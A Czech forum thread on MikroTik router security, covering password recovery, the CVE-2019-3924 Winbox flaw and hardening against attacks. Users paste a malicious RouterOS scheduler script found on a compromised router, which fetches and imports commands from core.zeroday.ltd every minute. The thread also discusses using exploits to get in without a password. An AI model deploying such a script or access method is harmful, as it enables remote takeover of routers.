MikroTik - BEZPECNOSTNI UPOZORNENI !!! DULEZITE - zablokovane MikroTiky

shooter

Da se dostat do mikrotiku bez hesla

našel jsem klienta ke kterymu se nemůžu dostat :( a vubec se mě v tom sněhu k němu nechce jen kuli heslu a zase dom ma tam verzi ještě 5.26

mpcz

Asi nemáš čas to tu číst. Snad desítky řešení. Podle mě je pro někoho, kdo to chce vyřešit rychle a bez potíží tento SW pro Windows z internetu, je to za minutu a umí to i diakritiku v hesle. Odzkoušeno, nemá to vadu. mpcz, 9jan2019

<--- ia0 -->file.jpg<--- ia0 -->

mena

Asi nemáš čas to tu číst. Snad desítky řešení. Podle mě je pro někoho, kdo to chce vyřešit rychle a bez potíží tento SW pro Windows z internetu, je to za minutu a umí to i diakritiku v hesle. Odzkoušeno, nemá to vadu. mpcz, 9jan2019

file.jpg

Prosim link na download. Nebo alespon nazev file. Diky

tulo

Par prispevkov dozadu som to riesil ide to v pohode. Alee ak si dobre pamatam derave boli az verzie 6.x

shooter

jo ty exploity funguji ale jaky jsou diry v 5.26 protože dříve se mi tam někdo dostal ale tohle je klient na ty se z venku nikdo nedostane (aspon doufám )

menicks

Jinak nějaká novinka. Jde o to že se lze dostat přes Firewall MK k LAN zařízením zjednodušeně řečeno. Nejde tedy o to že by byl MK hacknut.

What's new in 6.42.12 (2019-Feb-12 08):

MAJOR CHANGES IN v6.42.12:

----------------------

!) winbox - improvements in connection handling to router with open winbox service (CVE-2019–3924);

ludvik

Přes firewall rozhodně ne.

okoun

On February 2 a CVE issue was published, describing a vulnerability, which allows to proxy a TCP/UDP request through the routers Winbox port if it's open to the internet.

A fix has already been released on February 11, 2019 in all RouterOS release channels. Please keep your device up to date, and protect Winbox port from untrusted networks.

More information:

https://blog.mikrotik.com/security/cve- ... ility.html

In order to maintain and improve our business relations, supply goods and services, realizing our legitimate interest (like commercial benefits) to process personal data without consent provided that it is not overweighed by negative effects on your rights and freedoms, MikroTik has so far sent you information related to our activity, and we hope that you will continue to be interested in receiving such kind of informative messages. We send them to inform our customers and partners about MikroTik news, changes and improvements in MikroTik products and software that might be relevant to you to comply with essential requirements of product sales and usage, information about MikroTik training seminars and MUM events, as well as other information.

To unsubscribe from this list please follow the link:

https://mikrotik.com/unsubscribe/NL595/ ... 91bC5vcmc=

nmap

On February 2 a CVE issue was published, describing a vulnerability, which allows to proxy a TCP/UDP request through the routers Winbox port if it's open to the internet.

A fix has already been released on February 11, 2019 in all RouterOS release channels. Please keep your device up to date, and protect Winbox port from untrusted networks.

More information:

https://blog.mikrotik.com/security/cve- ... ility.html

--

In order to maintain and improve our business relations, supply goods and services, realizing our legitimate interest (like commercial benefits) to process personal data without consent provided that it is not overweighed by negative effects on your rights and freedoms, MikroTik has so far sent you information related to our activity, and we hope that you will continue to be interested in receiving such kind of informative messages. We send them to inform our customers and partners about MikroTik news, changes and improvements in MikroTik products and software that might be relevant to you to comply with essential requirements of product sales and usage, information about MikroTik training seminars and MUM events, as well as other information.

To unsubscribe from this list please follow the link:

https://mikrotik.com/unsubscribe/NL595/ ... 91bC5vcmc=

Lukáši, proč nám sem dáváte odkaz pro vaše odhlášení z newsleterru?

okoun

protože dám ctrl+c a ctr+v dál neřeším :) pokud nějaký ftipálek odhlásí z newsu tak nevadí mám to dal dalších dovu emailů

hapi

měl si poslat jenom link na blog kde je vše.

shooter

https://www.exploit-db.com/vyhledej mikrotik

shooter

jakej je exploit na 5.x verzi měl jsem napadenej routr ale nevím jak když nic nikde nepíšou takže asi není všechno uveřejněny

hocimin1

tohle jsem dnes objevil na jednom RB SXT 5nD r2 verze 6.25.

Normalne se tam pak slo dostat z localu ne z WAN. Tak jsem to vsechno povypinal. Prehral na novejsi verzi.

/system scheduler

add disabled=yes interval=1m name=run1m on-event=fetch policy=\

ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\

jan/09/1970 start-time=21:04:13

/system script

add name=fetch policy=\

ftp,reboot,read,write,policy,test,password,sniff,sensitive source="\

\n/tool fetch url=http://core.zeroday.ltd/command.rsc\

\n/import file-name=command.rsc"

mpcz

Chtělo by to připojit i nějakou podrobnost, hlavně verzi, stroj, atd. mpcz, 5mar2019

mladas

tohle jsem dnes objevil na jednom RB SXT 5nD r2 verze 6.25.

Normalne se tam pak slo dostat z localu ne z WAN. Tak jsem to vsechno povypinal. Prehral na novejsi verzi.

/system scheduler

add disabled=yes interval=1m name=run1m on-event=fetch policy=\

ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\

jan/09/1970 start-time=21:04:13

/system script

add name=fetch policy=\

ftp,reboot,read,write,policy,test,password,sniff,sensitive source="\

\n/tool fetch url=http://core.zeroday.ltd/command.rsc\

\n/import file-name=command.rsc"

hlavne se ti tam pridalo par mangli a par veci do natu a vypnul se ti fitewall na input, tezari to jsou ale netusim kde se tam vzali

dedek_2019

Zdar chlapi,

řeším od léta 2018 něco podobného s neustálými útoky na všechny MTK, které spravuji. Finálním a zatím funkčním řešením prozatím byla blokace na INPUT všech zahraničních IP adres a také blokace portu 53 (opět na INPUT). Tím jsem se zbavil všech útoků a byl klid. Problém nastal, když jsem zjistil, že díky blokaci DNS (port 53) mi např. nefungují zálohy NAS na servery jako Amazon či Google Drive... A to už je celkem problém. Snažil jsem se tedy "pogooglit" IP adresy oněch serverů, na které zálohy probíhají (s tím, že je přidám do výjimek), ale bohužel bez úspěchu. Zřejmě nemám všechny. Zálohy jsem tedy nouzově řešil vždy dočasným vypnutím blokace DNS, ale ejhle, dnes po 5-ti minutách MTK "zasyflený". Resp. útočník nestihl nahrát žádný script, ale stihl mi smazat všechna pravidla na FW. Takže toto dočasné řešení je dost nebezpečné :-)

Nemáte někdo jiný tip, jak toto obejít?

Díky moc,

Dědek.

mirek_k

Port 53 zvenku by neměl být potřeba, tedy měl by být zakázaný.

Jak to souvisí s NAS zálohami?

darklogic

Port 53 zvenku by neměl být potřeba, tedy měl by být zakázaný.

Jak to souvisí s NAS zálohami?

Asi zablokoval INPUT port 53 a nerozlisoval, jestli jde pozadavek z LAN nebo WAN.

hapi

to snad nemyslí vážně. Za chvíli se dozvíme že nezměnil hesla nebo má starý verze. Samozřejmě blokace dns zevnitř je blbost a nemusí se blokovat nic když není obsluha blbá a vypne "Allow remove Request" v nastevní DNS a upraví nastavení DHCP serveru aby dávalo třeba rovnou googlácký DNS. Jako škoda mluvit, začínám mít alergii na tyhle homo domo "síťaře". Moje rada zní, kup si router od UBNT.

« Předchozí stránka Další stránka »